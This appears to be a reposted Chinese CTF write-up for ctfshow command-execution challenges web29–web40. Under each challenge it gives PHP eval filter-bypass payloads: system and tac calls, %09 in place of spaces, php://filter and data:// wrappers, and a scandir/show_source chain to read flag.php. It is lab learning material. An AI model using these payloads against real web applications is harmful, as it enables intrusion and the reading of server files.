ctfshow(web入门-命令执行)-1

2024-09-01 20:20
文章标签 入门 命令 web 执行 ctfshow

本文主要是介绍ctfshow(web入门-命令执行)-1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.web29

只有当c参数的值不包含“flag”(区分大小写),才会执行这段代码

  $c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}

只要payload中没有flag即可

先尝试cat (右键源代码)  tail,tac皆可

system("tail fla*");

tac 逆序读 

tail 默认读后10行 

使用文件显示函数

cp函数 等等。。

2.web30

  $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    不能出现 flag,system,php

 echo`cat fl*g.p*hp`; 代替 system  右键源代码查看

 highlight_file(base64_decode("ZmxhZy5waHA="));

3.web31

绕过

"flag"、"system"、"php"、"cat"、"sort"、"shell"、点号(".")、空格(" ")和单引号("'")

highlight_file(base64_decode("ZmxhZy5waHA="));

echo`tac%09fl*`; %09代替空格

第二种

使用 eval.让 1逃逸

 

4.web32

/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(

比上一题多了 echo ( ; 不能使用命令注入了,尝试其他方法。

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

 5.web33

比上一题多了一个双引号

payload

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

c=rerquirexx

6.web34

和上一题一样。

7.web35

payload同上

c=include$_GET[1]%0a?>&1=php://filter/convert.base64-encode/resource=flag.php

 

8.web36 

比上一关多了对数字的限制

 9.web37

有include先尝试一下

然后用data执行代码

 

10.web38

过滤了等于号

可以将 <?php system('ls')> >> <?= system("ls")>

c=data://text/plain/,<?=system('tac fl*.*')?>

 11.web39

payload 同上

c=data://text/plain/,<?=system('tac fl*.*')?>

12.web40 

官方解法

show_source(next(array_reverse(scandir(pos(localeconv())))));


小白一枚,如有不足请多多指教!!!

这篇关于ctfshow(web入门-命令执行)-1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1127951

相关文章

nginx -t、nginx -s stop 和 nginx -s reload 命令的详细解析(结合应用场景)

《nginx-t、nginx-sstop和nginx-sreload命令的详细解析(结合应用场景)》本文解析Nginx的-t、-sstop、-sreload命令,分别用于配置语法检... 以下是关于 nginx -t、nginx -s stop 和 nginx -s reload 命令的详细解析,结合实际应

C#连接SQL server数据库命令的基本步骤

《C#连接SQLserver数据库命令的基本步骤》文章讲解了连接SQLServer数据库的步骤,包括引入命名空间、构建连接字符串、使用SqlConnection和SqlCommand执行SQL操作,... 目录建议配合使用:如何下载和安装SQL server数据库-CSDN博客1. 引入必要的命名空间2.

mybatis执行insert返回id实现详解

《mybatis执行insert返回id实现详解》MyBatis插入操作默认返回受影响行数,需通过useGeneratedKeys+keyProperty或selectKey获取主键ID,确保主键为自... 目录 两种方式获取自增 ID:1. ​​useGeneratedKeys+keyProperty(推

Linux系统性能检测命令详解

《Linux系统性能检测命令详解》本文介绍了Linux系统常用的监控命令(如top、vmstat、iostat、htop等)及其参数功能,涵盖进程状态、内存使用、磁盘I/O、系统负载等多维度资源监控,... 目录toppsuptimevmstatIOStatiotopslabtophtopdstatnmon

PowerShell中15个提升运维效率关键命令实战指南

《PowerShell中15个提升运维效率关键命令实战指南》作为网络安全专业人员的必备技能,PowerShell在系统管理、日志分析、威胁检测和自动化响应方面展现出强大能力,下面我们就来看看15个提升... 目录一、PowerShell在网络安全中的战略价值二、网络安全关键场景命令实战1. 系统安全基线核查

从入门到精通MySQL联合查询

《从入门到精通MySQL联合查询》:本文主要介绍从入门到精通MySQL联合查询,本文通过实例代码给大家介绍的非常详细,需要的朋友可以参考下... 目录摘要1. 多表联合查询时mysql内部原理2. 内连接3. 外连接4. 自连接5. 子查询6. 合并查询7. 插入查询结果摘要前面我们学习了数据库设计时要满

从入门到精通C++11 <chrono> 库特性

《从入门到精通C++11<chrono>库特性》chrono库是C++11中一个非常强大和实用的库,它为时间处理提供了丰富的功能和类型安全的接口,通过本文的介绍,我们了解了chrono库的基本概念... 目录一、引言1.1 为什么需要<chrono>库1.2<chrono>库的基本概念二、时间段(Durat

Golang如何对cron进行二次封装实现指定时间执行定时任务

《Golang如何对cron进行二次封装实现指定时间执行定时任务》:本文主要介绍Golang如何对cron进行二次封装实现指定时间执行定时任务问题,具有很好的参考价值,希望对大家有所帮助,如有错误... 目录背景cron库下载代码示例【1】结构体定义【2】定时任务开启【3】使用示例【4】控制台输出总结背景

解析C++11 static_assert及与Boost库的关联从入门到精通

《解析C++11static_assert及与Boost库的关联从入门到精通》static_assert是C++中强大的编译时验证工具,它能够在编译阶段拦截不符合预期的类型或值,增强代码的健壮性,通... 目录一、背景知识:传统断言方法的局限性1.1 assert宏1.2 #error指令1.3 第三方解决

postgresql数据库基本操作及命令详解

《postgresql数据库基本操作及命令详解》本文介绍了PostgreSQL数据库的基础操作,包括连接、创建、查看数据库,表的增删改查、索引管理、备份恢复及退出命令,适用于数据库管理和开发实践,感兴... 目录1. 连接 PostgreSQL 数据库2. 创建数据库3. 查看当前数据库4. 查看所有数据库